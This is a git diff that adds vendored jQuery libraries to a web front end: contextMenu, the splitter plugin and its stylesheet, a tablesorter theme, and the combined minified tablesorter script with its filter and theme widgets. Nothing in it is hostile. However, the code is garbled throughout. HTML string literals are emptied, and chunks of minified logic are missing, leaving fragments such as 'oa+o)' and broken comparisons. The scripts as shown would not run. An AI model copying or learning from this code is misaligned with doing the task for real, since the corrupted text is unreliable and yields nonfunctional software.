"+r.classNames.icon+"--fa fa "+o.icon:o._icon=r.classNames.icon+" "+r.classNames.icon+"-"+o.icon:(e.addClass(r.classNames.icon+" "+r.classNames.icon+"--fa5"),o._icon=d('')),"string"==typeof o._icon?e.addClass(o._icon):e.prepend(o._icon))}o.$input=a,o.$label=t,e.appendTo(l.$menu),!l.hasTypes&&d.support.eventSelectstart&&e.on("selectstart.disableTextSelect",b.abortevent)}),l.$node||l.$menu.css("display","none").addClass("context-menu-root"),l.$menu.appendTo(l.appendTo||document.body)},resize:function(e,t){var n;e.css({position:"absolute",display:"block"}),e.data("width",(n=e.get(0)).getBoundingClientRect?Math.ceil(n.getBoundingClientRect().width):e.outerWidth()+1),e.css({position:"static",minWidth:"0px",maxWidth:"100000px"}),e.find("> li > ul").each(function(){$.resize(d(this),!0)}),t||e.find("ul").addBack().css({position:"",display:"",minWidth:"",maxWidth:""}).outerWidth(function(){return d(this).data("width")})},update:function(s,i){var c=this;void 0===i&&(i=s,$.resize(s.$menu));var l=!1;return s.$menu.children().each(function(){var e=d(this),t=e.data("contextMenuKey"),n=s.items[t],o=d.isFunction(n.disabled)&&n.disabled.call(c,t,i)||!0===n.disabled,a=d.isFunction(n.visible)?n.visible.call(c,t,i):void 0===n.visible||!0===n.visible;if(a&&(l=!0),e[a?"show":"hide"](),e[o?"addClass":"removeClass"](i.classNames.disabled),d.isFunction(n.icon)&&(e.removeClass(n._icon),"string"==typeof(t=n.icon.call(this,c,e,t,n))?e.addClass(t):e.prepend(t)),n.type)switch(e.find("input, select, textarea").prop("disabled",o),n.type){case"text":case"textarea":n.$input.val(n.value||"");break;case"checkbox":case"radio":n.$input.val(n.value||"").prop("checked",!!n.selected);break;case"select":n.$input.val((0===n.selected?"0":n.selected)||"")}n.$menu&&$.update.call(c,n,i)&&(l=!0)}),l},layer:function(e,t){e=e.$layer=d('
    ').css({height:p.height(),width:p.width(),display:"block",position:"fixed","z-index":t-1,top:0,left:0,opacity:0,filter:"alpha(opacity=0)","background-color":"#000"}).data("contextMenuRoot",e).appendTo(document.body).on("contextmenu",b.abortevent).on("mousedown",b.layerClick);return void 0===document.body.style.maxWidth&&e.css({position:"absolute",height:d(document).height()}),e},processPromises:function(e,t,n){function o(e,t,n){void 0===n?(n={error:{name:"No items and no error item",icon:"context-menu-icon context-menu-icon-quit"}},window.console&&(console.error||console.log).call(console,'When you reject a promise, provide an "items" object, equal to normal sub-menu items')):"string"==typeof n&&(n={error:{name:n}}),a(e,t,n)}function a(e,t,n){void 0!==t.$menu&&t.$menu.is(":visible")&&(e.$node.removeClass(t.classNames.iconLoadingClass),e.items=n,$.create(e,t,!0),$.update(e,t),t.positionSubmenu.call(e.$node,e.$menu))}e.$node.addClass(t.classNames.iconLoadingClass),n.then(function(e,t,n){void 0===n&&o(void 0),a(e,t,n)}.bind(this,e,t),o.bind(this,e,t))},activated:function(e){var t=e.$menu,n=t.offset(),o=d(window).height(),a=d(window).scrollTop(),e=t.height();oa+o)&&t.css({top:a+"px"})}};function l(e){return e.id&&d('label[for="'+e.id+'"]').val()||e.name}d.fn.contextMenu=function(e){var t,n=this,o=e;return 0*",splitter[0]).css({position:"absolute","z-index":"1","-moz-outline-style":"none"});var A=$(panes[0]);var B=$(panes[1]);var focuser=$('').attr({accessKey:opts.accessKey,tabIndex:opts.tabIndex,title:opts.splitbarClass}).bind("focus",function(){this.focus();bar.addClass(opts.activeClass)}).bind("keydown",function(e){var key=e.which||e.keyCode;var dir=key==opts["key"+opts.side1]?1:key==opts["key"+opts.side2]?-1:0;if(dir){resplit(A[0][opts.pxSplit]+dir*opts.pxPerKey,false)}}).bind("blur",function(){bar.removeClass(opts.activeClass)});var bar=$(panes[2]||'
    ').insertAfter(A).css("z-index","100").append(focuser).attr({"class":opts.splitbarClass,unselectable:"on"}).css({position:"absolute","user-select":"none","-webkit-user-select":"none","-khtml-user-select":"none","-moz-user-select":"none"}).bind("mousedown",startSplitMouse);if(/^(auto|default|)$/.test(bar.css("cursor"))){bar.css("cursor",opts.cursor)}bar._DA=bar[0][opts.pxSplit];splitter._PBF=$.boxModel?dimSum(splitter,"border"+opts.side3+"Width","border"+opts.side4+"Width"):0;splitter._PBA=$.boxModel?dimSum(splitter,"border"+opts.side1+"Width","border"+opts.side2+"Width"):0;A._pane=opts.side1;B._pane=opts.side2;$.each([A,B],function(){this._min=opts["min"+this._pane]||dimSum(this,"min-"+opts.split);this._max=opts["max"+this._pane]||dimSum(this,"max-"+opts.split)||9999;this._init=opts["size"+this._pane]===true?parseInt($.curCSS(this[0],opts.split)):opts["size"+this._pane]});var initPos=A._init;if(!isNaN(B._init)){initPos=splitter[0][opts.pxSplit]-splitter._PBA-B._init-bar._DA}if(opts.cookie){if(!$.cookie){alert('jQuery.splitter(): jQuery cookie plugin required')}var ckpos=parseInt($.cookie(opts.cookie));if(!isNaN(ckpos)){initPos=ckpos}$(window).bind("unload",function(){var state=String(bar.css(opts.origin));$.cookie(opts.cookie,state,{expires:opts.cookieExpires||365,path:opts.cookiePath||document.location.pathname})})}if(isNaN(initPos)){initPos=Math.round((splitter[0][opts.pxSplit]-splitter._PBA-bar._DA)/2)}if(opts.anchorToWindow){splitter._hadjust=dimSum(splitter,"borderTopWidth","borderBottomWidth","marginBottom");splitter._hmin=Math.max(dimSum(splitter,"minHeight"),20);$(window).bind("resize",function(){var top=splitter.offset().top;var wh=$(window).height();splitter.css("height",Math.max(wh-top-splitter._hadjust,splitter._hmin)+"px");splitter.trigger("resize")}).trigger("resize")}else if(opts.resizeToWidth){$(window).bind("resize",function(){splitter.trigger("resize")})}splitter.bind("resize",function(e,size){if(e.target!=this){return}splitter._DF=splitter[0][opts.pxFixed]-splitter._PBF;splitter._DA=splitter[0][opts.pxSplit]-splitter._PBA;if(splitter._DF<=0||splitter._DA<=0){return}resplit(!isNaN(size)?size:(!(opts.sizeRight||opts.sizeBottom)?A[0][opts.pxSplit]:splitter._DA-B[0][opts.pxSplit]-bar._DA))}).trigger("resize",[initPos])})}})(jQuery); \ No newline at end of file diff --git a/fe/scripts/jquery.splitter/jquery.splitter.css b/fe/scripts/jquery.splitter/jquery.splitter.css new file mode 100644 index 0000000..0ee628c --- /dev/null +++ b/fe/scripts/jquery.splitter/jquery.splitter.css @@ -0,0 +1,124 @@ +/* + Splitter container. Set this to the desired width and height + of the combined left and right panes. In this example, the + height is fixed and the width is the full width of the body, + less the margin on the splitter itself. + +#splitter { + background-color: white; + height: 400px; + border: 1px solid #ccc; +} +*/ +/* + Left-side element of the splitter. Use pixel units for the + min-width and max-width; the splitter plugin parses them to + determine the splitter movement limits. Set the width to + the desired initial width of the element; the plugin changes + the width of this element dynamically. + +#filetree { + overflow: auto; + width: 30%; + min-width: 100px; +} + +#filetree>ul { + padding: 4px; +} +*/ +/* + Right-side element of the splitter. + +#fileinfo { + padding: 4px; + min-width: 100px; + overflow: auto; + +} +*/ +/* + Splitter bar style; the .active class is added when the + mouse is over the splitter or the splitter is focused + via the keyboard taborder or an accessKey. + +#splitter .vsplitbar { + width: 6px; + background: #ccc url("vgrabber.gif") no-repeat center; +} + +#splitter .vsplitbar.active, #splitter .vsplitbar:hover { + background: #e88 url("vgrabber.gif") no-repeat center; +} +*/ +/* +*/ +/* + Splitter container. Set this to the desired width and height + of the combined left and right panes. In this example, the + height is fixed and the width is the full width of the body, + less the margin on the splitter itself. +*/ + +#fecontainer { + margin-right:8px; + padding-top:0; + padding-left:10px; + width: 98% !important; + max-width: 98% !important; + min-width: 500px !important; + height: 97%; + border: 0 !important; +} + +/* + Left-side element of the splitter. Use pixel units for the + min-width and max-width; the splitter plugin parses them to + determine the splitter movement limits. Set the width to + the desired initial width of the element; the plugin changes + the width of this element dynamically. +*/ +#contfiletree { /* padding: 4px; */ + overflow: auto; + width: 35%; /* optional, initial splitbar position */ + min-width: 100px; /* optional */ /* No margin or border allowed */ +} + +#contfiletree>ul { + padding: 4px; + padding-top: 0; +} + +/* + Right-side element of the splitter. +*/ +#fileinfo { + padding: 0 4px 4px 10px; + min-width: 200px; + overflow: auto; + //max-width:400px; + height:92%; + border:0; + /* No margin or border allowed */ +} + +/* + Splitter bar style; the .active class is added when the + mouse is over the splitter or the splitter is focused + via the keyboard taborder or an accessKey. +*/ +#fecontainer .vsplitbar { + margin-left:10px !important; + #margin-right:10px !important; + width: 3px; + max-width: 3px; + #background-color: #ccc; + background: silver url("fe/scripts/jquery.splitter/vgrabber.gif") no-repeat center; +} + +#fecontainer .vsplitbar.active, +#fecontainer .vsplitbar:hover { + #background-color: #e88; + background: #e88 url("fe/scripts/jquery.splitter/vgrabber.gif") no-repeat center; +} +/**/ \ No newline at end of file diff --git a/fe/scripts/tablesorter-2.31.3/css/theme.jui.min.css b/fe/scripts/tablesorter-2.31.3/css/theme.jui.min.css new file mode 100644 index 0000000..4b67422 --- /dev/null +++ b/fe/scripts/tablesorter-2.31.3/css/theme.jui.min.css @@ -0,0 +1 @@ +.tablesorter-jui{width:100%;border-collapse:separate;border-spacing:2px;margin:10px 0 15px;padding:5px;font-size:.8em}.tablesorter-jui tfoot td,.tablesorter-jui tfoot th,.tablesorter-jui thead td,.tablesorter-jui thead th{position:relative;background-repeat:no-repeat;background-position:right center;font-weight:700!important;border-width:1px!important;text-align:left;padding:8px}.tablesorter-jui .header,.tablesorter-jui .tablesorter-header{cursor:pointer;white-space:normal}.tablesorter-jui .tablesorter-header-inner{padding-right:20px}.tablesorter-jui thead tr th .ui-icon{position:absolute;right:3px;top:50%;margin-top:-8px}.tablesorter-jui thead .sorter-false{cursor:default}.tablesorter-jui thead tr .sorter-false .ui-icon{display:none}.tablesorter-jui tfoot td,.tablesorter-jui tfoot th{font-weight:400!important;font-size:.9em;padding:2px}.tablesorter-jui td{padding:4px;vertical-align:top}.tablesorter-jui tbody>tr.hover>td,.tablesorter-jui tbody>tr:hover>td{opacity:.7}.tablesorter-jui .tablesorter-processing .tablesorter-header-inner{background-position:center center!important;background-repeat:no-repeat!important;background-image:url(data:image/gif;base64,R0lGODlhFAAUAKEAAO7u7lpaWgAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQBCgACACwAAAAAFAAUAAACQZRvoIDtu1wLQUAlqKTVxqwhXIiBnDg6Y4eyx4lKW5XK7wrLeK3vbq8J2W4T4e1nMhpWrZCTt3xKZ8kgsggdJmUFACH5BAEKAAIALAcAAAALAAcAAAIUVB6ii7jajgCAuUmtovxtXnmdUAAAIfkEAQoAAgAsDQACAAcACwAAAhRUIpmHy/3gUVQAQO9NetuugCFWAAAh+QQBCgACACwNAAcABwALAAACE5QVcZjKbVo6ck2AF95m5/6BSwEAIfkEAQoAAgAsBwANAAsABwAAAhOUH3kr6QaAcSrGWe1VQl+mMUIBACH5BAEKAAIALAIADQALAAcAAAIUlICmh7ncTAgqijkruDiv7n2YUAAAIfkEAQoAAgAsAAAHAAcACwAAAhQUIGmHyedehIoqFXLKfPOAaZdWAAAh+QQFCgACACwAAAIABwALAAACFJQFcJiXb15zLYRl7cla8OtlGGgUADs=)!important}.tablesorter-jui tr.ui-state-default{background-image:none;font-weight:400}.tablesorter-jui .tablesorter-processing{background-color:#ddd;background-color:rgba(255,255,255,.8)}.tablesorter-jui>caption{border:0}.tablesorter-jui .tablesorter-filter-row{background-color:transparent}.tablesorter-jui .tablesorter-filter-row td{background-color:transparent;line-height:normal;text-align:center;-webkit-transition:line-height .1s ease;-moz-transition:line-height .1s ease;-o-transition:line-height .1s ease;transition:line-height .1s ease}.tablesorter-jui .tablesorter-filter-row .disabled{opacity:.5;cursor:not-allowed}.tablesorter-jui .tablesorter-filter-row.hideme td{padding:2px;margin:0;line-height:0;cursor:pointer}.tablesorter-jui .tablesorter-filter-row.hideme *{height:1px;min-height:0;border:0;padding:0;margin:0;opacity:0}.tablesorter-jui input.tablesorter-filter,.tablesorter-jui select.tablesorter-filter{width:98%;height:auto;margin:0;padding:4px;background-color:#fff;border:1px solid #bbb;color:#333;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:height .1s ease;-moz-transition:height .1s ease;-o-transition:height .1s ease;transition:height .1s ease}.tablesorter .filtered{display:none}.tablesorter .tablesorter-errorRow td{text-align:center;cursor:pointer;background-color:#e6bf99} \ No newline at end of file diff --git a/fe/scripts/tablesorter-2.31.3/js/jquery.tablesorter.combined.min.js b/fe/scripts/tablesorter-2.31.3/js/jquery.tablesorter.combined.min.js new file mode 100644 index 0000000..427e328 --- /dev/null +++ b/fe/scripts/tablesorter-2.31.3/js/jquery.tablesorter.combined.min.js @@ -0,0 +1,4 @@ +(function(factory){if (typeof define === 'function' && define.amd){define(['jquery'], factory);} else if (typeof module === 'object' && typeof module.exports === 'object'){module.exports = factory(require('jquery'));} else {factory(jQuery);}}(function(jQuery){ + +/*! tablesorter (FORK) - updated 2020-03-03 (v2.31.3)*/ +!function(e){"function"==typeof define&&define.amd?define(["jquery"],e):"object"==typeof module&&"object"==typeof module.exports?module.exports=e(require("jquery")):e(jQuery)}(function(e){return function(R){"use strict";var T=R.tablesorter={version:"2.31.3",parsers:[],widgets:[],defaults:{theme:"default",widthFixed:!1,showProcessing:!1,headerTemplate:"{content}",onRenderTemplate:null,onRenderHeader:null,cancelSelection:!0,tabIndex:!0,dateFormat:"mmddyyyy",sortMultiSortKey:"shiftKey",sortResetKey:"ctrlKey",usNumberFormat:!0,delayInit:!1,serverSideSorting:!1,resort:!0,headers:{},ignoreCase:!0,sortForce:null,sortList:[],sortAppend:null,sortStable:!1,sortInitialOrder:"asc",sortLocaleCompare:!1,sortReset:!1,sortRestart:!1,emptyTo:"bottom",stringTo:"max",duplicateSpan:!0,textExtraction:"basic",textAttribute:"data-text",textSorter:null,numberSorter:null,initWidgets:!0,widgetClass:"widget-{name}",widgets:[],widgetOptions:{zebra:["even","odd"]},initialized:null,tableClass:"",cssAsc:"",cssDesc:"",cssNone:"",cssHeader:"",cssHeaderRow:"",cssProcessing:"",cssChildRow:"tablesorter-childRow",cssInfoBlock:"tablesorter-infoOnly",cssNoSort:"tablesorter-noSort",cssIgnoreRow:"tablesorter-ignoreRow",cssIcon:"tablesorter-icon",cssIconNone:"",cssIconAsc:"",cssIconDesc:"",cssIconDisabled:"",pointerClick:"click",pointerDown:"mousedown",pointerUp:"mouseup",selectorHeaders:"> thead th, > thead td",selectorSort:"th, td",selectorRemove:".remove-me",debug:!1,headerList:[],empties:{},strings:{},parsers:[],globalize:0,imgAttr:0},css:{table:"tablesorter",cssHasChild:"tablesorter-hasChildRow",childRow:"tablesorter-childRow",colgroup:"tablesorter-colgroup",header:"tablesorter-header",headerRow:"tablesorter-headerRow",headerIn:"tablesorter-header-inner",icon:"tablesorter-icon",processing:"tablesorter-processing",sortAsc:"tablesorter-headerAsc",sortDesc:"tablesorter-headerDesc",sortNone:"tablesorter-headerUnSorted"},language:{sortAsc:"Ascending sort applied, ",sortDesc:"Descending sort applied, ",sortNone:"No sort applied, ",sortDisabled:"sorting is disabled",nextAsc:"activate to apply an ascending sort",nextDesc:"activate to apply a descending sort",nextNone:"activate to remove the sort"},regex:{templateContent:/\{content\}/g,templateIcon:/\{icon\}/g,templateName:/\{name\}/i,spaces:/\s+/g,nonWord:/\W/g,formElements:/(input|select|button|textarea)/i,chunk:/(^([+\-]?(?:\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?)?$|^0x[0-9a-f]+$|\d+)/gi,chunks:/(^\\0|\\0$)/,hex:/^0x[0-9a-f]+$/i,comma:/,/g,digitNonUS:/[\s|\.]/g,digitNegativeTest:/^\s*\([.\d]+\)/,digitNegativeReplace:/^\s*\(([.\d]+)\)/,digitTest:/^[\-+(]?\d+[)]?$/,digitReplace:/[,.'"\s]/g},string:{max:1,min:-1,emptymin:1,emptymax:-1,zero:0,none:0,"null":0,top:!0,bottom:!1},keyCodes:{enter:13},dates:{},instanceMethods:{},setup:function(t,r){if(t&&t.tHead&&0!==t.tBodies.length&&!0!==t.hasInitialized){var e,a="",s=R(t),i=R.metadata;t.hasInitialized=!1,t.isProcessing=!0,t.config=r,R.data(t,"tablesorter",r),T.debug(r,"core")&&(console[console.group?"group":"log"]("Initializing tablesorter v"+T.version),R.data(t,"startoveralltimer",new Date)),r.supportsDataObject=((e=R.fn.jquery.split("."))[0]=parseInt(e[0],10),1':"",l.$headers=R(R.map(l.$table.find(l.selectorHeaders),function(e,t){var r,a,s,i,o,n=R(e);if(!T.getClosest(n,"tr").hasClass(l.cssIgnoreRow))return/(th|td)/i.test(e.nodeName)||(o=T.getClosest(n,"th, td"),n.attr("data-column",o.attr("data-column"))),r=T.getColumnData(l.table,l.headers,t,!0),l.headerContent[t]=n.html(),""===l.headerTemplate||n.find("."+T.css.headerIn).length||(i=l.headerTemplate.replace(T.regex.templateContent,n.html()).replace(T.regex.templateIcon,n.find("."+T.css.icon).length?"":c),l.onRenderTemplate&&(a=l.onRenderTemplate.apply(n,[t,i]))&&"string"==typeof a&&(i=a),n.html('
    '+i+"
    ")),l.onRenderHeader&&l.onRenderHeader.apply(n,[t,l,l.$table]),s=parseInt(n.attr("data-column"),10),e.column=s,o=T.getOrder(T.getData(n,r,"sortInitialOrder")||l.sortInitialOrder),l.sortVars[s]={count:-1,order:o?l.sortReset?[1,0,2]:[1,0]:l.sortReset?[0,1,2]:[0,1],lockedOrder:!1,sortedBy:""},void 0!==(o=T.getData(n,r,"lockedOrder")||!1)&&!1!==o&&(l.sortVars[s].lockedOrder=!0,l.sortVars[s].order=T.getOrder(o)?[1,1]:[0,0]),l.headerList[t]=e,n.addClass(T.css.header+" "+l.cssHeader),T.getClosest(n,"tr").addClass(T.css.headerRow+" "+l.cssHeaderRow).attr("role","row"),l.tabIndex&&n.attr("tabindex",0),e})),l.$headerIndexed=[],r=0;r'),t=o.$table.width(),s=(a=o.$tbodies.find("tr:first").children(":visible")).length,i=0;i").css("width",r));o.$table.prepend(n)}},getData:function(e,t,r){var a,s,i="",o=R(e);return o.length?(a=!!R.metadata&&o.metadata(),s=" "+(o.attr("class")||""),void 0!==o.data(r)||void 0!==o.data(r.toLowerCase())?i+=o.data(r)||o.data(r.toLowerCase()):a&&void 0!==a[r]?i+=a[r]:t&&void 0!==t[r]?i+=t[r]:" "!==s&&s.match(" "+r+"-")&&(i=s.match(new RegExp("\\s"+r+"-([\\w-]+)"))[1]||""),R.trim(i)):""},getColumnData:function(e,t,r,a,s){if("object"!=typeof t||null===t)return t;var i,o=(e=R(e)[0]).config,n=s||o.$headers,l=o.$headerIndexed&&o.$headerIndexed[r]||n.find('[data-column="'+r+'"]:last');if(void 0!==t[r])return a?t[r]:t[n.index(l)];for(i in t)if("string"==typeof i&&l.filter(i).add(l.find(i)).length)return t[i]},isProcessing:function(e,t,r){var a=(e=R(e))[0].config,s=r||e.find("."+T.css.header);t?(void 0!==r&&0'),R.fn.detach?t.detach():t.remove();var a=R(e).find("colgroup.tablesorter-savemyplace");t.insertAfter(a),a.remove(),e.isProcessing=!1},clearTableBody:function(e){R(e)[0].config.$tbodies.children().detach()},characterEquivalents:{a:"áàâãäąå",A:"ÁÀÂÃÄĄÅ",c:"çćč",C:"ÇĆČ",e:"éèêëěę",E:"ÉÈÊËĚĘ",i:"íìİîïı",I:"ÍÌİÎÏ",o:"óòôõöō",O:"ÓÒÔÕÖŌ",ss:"ß",SS:"ẞ",u:"úùûüů",U:"ÚÙÛÜŮ"},replaceAccents:function(e){var t,r="[",a=T.characterEquivalents;if(!T.characterRegex){for(t in T.characterRegexArray={},a)"string"==typeof t&&(r+=a[t],T.characterRegexArray[t]=new RegExp("["+a[t]+"]","g"));T.characterRegex=new RegExp(r+"]")}if(T.characterRegex.test(e))for(t in a)"string"==typeof t&&(e=e.replace(T.characterRegexArray[t],t));return e},validateOptions:function(e){var t,r,a,s,i="headers sortForce sortList sortAppend widgets".split(" "),o=e.originalSettings;if(o){for(t in T.debug(e,"core")&&(s=new Date),o)if("undefined"===(a=typeof T.defaults[t]))console.warn('Tablesorter Warning! "table.config.'+t+'" option not recognized');else if("object"===a)for(r in o[t])a=T.defaults[t]&&typeof T.defaults[t][r],R.inArray(t,i)<0&&"undefined"===a&&console.warn('Tablesorter Warning! "table.config.'+t+"."+r+'" option not recognized');T.debug(e,"core")&&console.log("validate options time:"+T.benchmark(s))}},restoreHeaders:function(e){var t,r,a=R(e)[0].config,s=a.$table.find(a.selectorHeaders),i=s.length;for(t=0;t tr").children("th, td");!1===t&&0<=R.inArray("uitheme",i.widgets)&&(s.triggerHandler("applyWidgetId",["uitheme"]),s.triggerHandler("applyWidgetId",["zebra"])),o.find("tr").not(n).remove(),a="sortReset update updateRows updateAll updateHeaders updateCell addRows updateComplete sorton appendCache updateCache applyWidgetId applyWidgets refreshWidgets removeWidget destroy mouseup mouseleave "+"keypress sortBegin sortEnd resetToLoadState ".split(" ").join(i.namespace+" "),s.removeData("tablesorter").unbind(a.replace(T.regex.spaces," ")),i.$headers.add(l).removeClass([T.css.header,i.cssHeader,i.cssAsc,i.cssDesc,T.css.sortAsc,T.css.sortDesc,T.css.sortNone].join(" ")).removeAttr("data-column").removeAttr("aria-label").attr("aria-disabled","true"),n.find(i.selectorSort).unbind("mousedown mouseup keypress ".split(" ").join(i.namespace+" ").replace(T.regex.spaces," ")),T.restoreHeaders(e),s.toggleClass(T.css.table+" "+i.tableClass+" tablesorter-"+i.theme,!1===t),s.removeClass(i.namespace.slice(1)),e.hasInitialized=!1,delete e.config.cache,"function"==typeof r&&r(e),T.debug(i,"core")&&console.log("tablesorter has been removed")}}};R.fn.tablesorter=function(t){return this.each(function(){var e=R.extend(!0,{},T.defaults,t,T.instanceMethods);e.originalSettings=t,!this.hasInitialized&&T.buildTable&&"TABLE"!==this.nodeName?T.buildTable(this,e):T.setup(this,e)})},window.console&&window.console.log||(T.logs=[],console={},console.log=console.warn=console.error=console.table=function(){var e=1> Using",n?u:"cookies"),b.parseJSON&&(l=n?b.parseJSON(y[u][t]||"null")||{}:(i=v.cookie.split(/[;\s|=]/),0!==(s=b.inArray(t,i)+1)&&b.parseJSON(i[s]||"null")||{})),void 0===r||!y.JSON||!JSON.hasOwnProperty("stringify"))return l&&l[m]?l[m][h]:"";l[m]||(l[m]={}),l[m][h]=r,n?y[u][t]=JSON.stringify(l):((o=new Date).setTime(o.getTime()+31536e6),v.cookie=t+"="+JSON.stringify(l).replace(/\"/g,'"')+"; expires="+o.toGMTString()+"; path=/")}}(e,window,document),function($){"use strict";var S=$.tablesorter||{};S.themes={bootstrap:{table:"table table-bordered table-striped",caption:"caption",header:"bootstrap-header",sortNone:"",sortAsc:"",sortDesc:"",active:"",hover:"",icons:"",iconSortNone:"bootstrap-icon-unsorted",iconSortAsc:"glyphicon glyphicon-chevron-up",iconSortDesc:"glyphicon glyphicon-chevron-down",filterRow:"",footerRow:"",footerCells:"",even:"",odd:""},jui:{table:"ui-widget ui-widget-content ui-corner-all",caption:"ui-widget-content",header:"ui-widget-header ui-corner-all ui-state-default",sortNone:"",sortAsc:"",sortDesc:"",active:"ui-state-active",hover:"ui-state-hover",icons:"ui-icon",iconSortNone:"ui-icon-carat-2-n-s ui-icon-caret-2-n-s",iconSortAsc:"ui-icon-carat-1-n ui-icon-caret-1-n",iconSortDesc:"ui-icon-carat-1-s ui-icon-caret-1-s",filterRow:"",footerRow:"",footerCells:"",even:"ui-widget-content",odd:"ui-state-default"}},$.extend(S.css,{wrapper:"tablesorter-wrapper"}),S.addWidget({id:"uitheme",priority:10,format:function(e,t,r){var a,s,i,o,n,l,c,d,f,u,g,p,h,m=S.themes,b=t.$table.add($(t.namespace+"_extra_table")),y=t.$headers.add($(t.namespace+"_extra_headers")),v=t.theme||"jui",w=m[v]||{},x=$.trim([w.sortNone,w.sortDesc,w.sortAsc,w.active].join(" ")),C=$.trim([w.iconSortNone,w.iconSortDesc,w.iconSortAsc].join(" ")),_=S.debug(t,"uitheme");for(_&&(n=new Date),b.hasClass("tablesorter-"+v)&&t.theme===t.appliedTheme&&r.uitheme_applied||(r.uitheme_applied=!0,u=m[t.appliedTheme]||{},g=(h=!$.isEmptyObject(u))?[u.sortNone,u.sortDesc,u.sortAsc,u.active].join(" "):"",p=h?[u.iconSortNone,u.iconSortDesc,u.iconSortAsc].join(" "):"",h&&(r.zebra[0]=$.trim(" "+r.zebra[0].replace(" "+u.even,"")),r.zebra[1]=$.trim(" "+r.zebra[1].replace(" "+u.odd,"")),t.$tbodies.children().removeClass([u.even,u.odd].join(" "))),w.even&&(r.zebra[0]+=" "+w.even),w.odd&&(r.zebra[1]+=" "+w.odd),b.children("caption").removeClass(u.caption||"").addClass(w.caption),d=b.removeClass((t.appliedTheme?"tablesorter-"+(t.appliedTheme||""):"")+" "+(u.table||"")).addClass("tablesorter-"+v+" "+(w.table||"")).children("tfoot"),t.appliedTheme=t.theme,d.length&&d.children("tr").removeClass(u.footerRow||"").addClass(w.footerRow).children("th, td").removeClass(u.footerCells||"").addClass(w.footerCells),y.removeClass((h?[u.header,u.hover,g].join(" "):"")||"").addClass(w.header).not(".sorter-false").unbind("mouseenter.tsuitheme mouseleave.tsuitheme").bind("mouseenter.tsuitheme mouseleave.tsuitheme",function(e){$(this)["mouseenter"===e.type?"addClass":"removeClass"](w.hover||"")}),y.each(function(){var e=$(this);e.find("."+S.css.wrapper).length||e.wrapInner('
    ')}),t.cssIcon&&y.find("."+S.css.icon).removeClass(h?[u.icons,p].join(" "):"").addClass(w.icons||""),S.hasWidget(t.table,"filter")&&(s=function(){b.children("thead").children("."+S.css.filterRow).removeClass(h&&u.filterRow||"").addClass(w.filterRow||"")},r.filter_initialized?s():b.one("filterInit",function(){s()}))),a=0;a> Applied "+v+" theme"+S.benchmark(n))},remove:function(e,t,r,a){if(r.uitheme_applied){var s=t.$table,i=t.appliedTheme||"jui",o=S.themes[i]||S.themes.jui,n=s.children("thead").children(),l=o.sortNone+" "+o.sortDesc+" "+o.sortAsc,c=o.iconSortNone+" "+o.iconSortDesc+" "+o.iconSortAsc;s.removeClass("tablesorter-"+i+" "+o.table),r.uitheme_applied=!1,a||(s.find(S.css.header).removeClass(o.header),n.unbind("mouseenter.tsuitheme mouseleave.tsuitheme").removeClass(o.hover+" "+l+" "+o.active).filter("."+S.css.filterRow).removeClass(o.filterRow),n.find("."+S.css.icon).removeClass(o.icons+" "+c))}}})}(e),function(b){"use strict";var y=b.tablesorter||{};y.addWidget({id:"columns",priority:65,options:{columns:["primary","secondary","tertiary"]},format:function(e,t,r){var a,s,i,o,n,l,c,d,f=t.$table,u=t.$tbodies,g=t.sortList,p=g.length,h=r&&r.columns||["primary","secondary","tertiary"],m=h.length-1;for(c=h.join(" "),s=0;s=]/g,query:"(q|query)",wild01:/\?/g,wild0More:/\*/g,quote:/\"/g,isNeg1:/(>=?\s*-\d)/,isNeg2:/(<=?\s*\d)/},types:{or:function(e,t,r){if(!H.orTest.test(t.iFilter)&&!H.orSplit.test(t.filter)||H.regex.test(t.filter))return null;var a,s,i,o=A.extend({},t),n=t.filter.split(H.orSplit),l=t.iFilter.split(H.orSplit),c=n.length;for(a=0;a]=?/,gtTest:/>/,gteTest:/>=/,ltTest:/'+(i.data("placeholder")||i.attr("data-placeholder")||f.filter_placeholder.select||"")+"":"",0<=(s=n=a).indexOf(f.filter_selectSourceSeparator)&&(s=(n=a.split(f.filter_selectSourceSeparator))[1],n=n[0]),t+="");d.$table.find("thead").find("select."+b.filter+'[data-column="'+o+'"]').append(t),(l="function"==typeof(s=f.filter_selectSource)||N.getColumnData(r,s,o))&&D.buildSelect(d.table,o,"",!0,i.hasClass(f.filter_onlyAvail))}D.buildDefault(r,!0),D.bindSearch(r,d.$table.find("."+b.filter),!0),f.filter_external&&D.bindSearch(r,f.filter_external),f.filter_hideFilters&&D.hideFilters(d),d.showProcessing&&(s="filterStart filterEnd ".split(" ").join(d.namespace+"filter-sp "),d.$table.unbind(s.replace(N.regex.spaces," ")).bind(s,function(e,t){i=t?d.$table.find("."+b.header).filter("[data-column]").filter(function(){return""!==t[A(this).data("column")]}):"",N.isProcessing(r,"filterStart"===e.type,t?i:"")})),d.filteredRows=d.totalRows,s="tablesorter-initialized pagerBeforeInitialized ".split(" ").join(d.namespace+"filter "),d.$table.unbind(s.replace(N.regex.spaces," ")).bind(s,function(){D.completeInit(this)}),d.pager&&d.pager.initialized&&!f.filter_initialized?(d.$table.triggerHandler("filterFomatterUpdate"),setTimeout(function(){D.filterInitComplete(d)},100)):f.filter_initialized||D.completeInit(r)},completeInit:function(e){var t=e.config,r=t.widgetOptions,a=D.setDefaults(e,t,r)||[];a.length&&(t.delayInit&&""===a.join("")||N.setFilters(e,a,!0)),t.$table.triggerHandler("filterFomatterUpdate"),setTimeout(function(){r.filter_initialized||D.filterInitComplete(t)},100)},formatterUpdated:function(e,t){var r=e&&e.closest("table"),a=r.length&&r[0].config,s=a&&a.widgetOptions;s&&!s.filter_initialized&&(s.filter_formatterInit[t]=1)},filterInitComplete:function(e){function t(){s.filter_initialized=!0,e.lastSearch=e.$table.data("lastSearch"),e.$table.triggerHandler("filterInit",e),D.findRows(e.table,e.lastSearch||[]),N.debug(e,"filter")&&console.log("Filter >> Widget initialized")}var 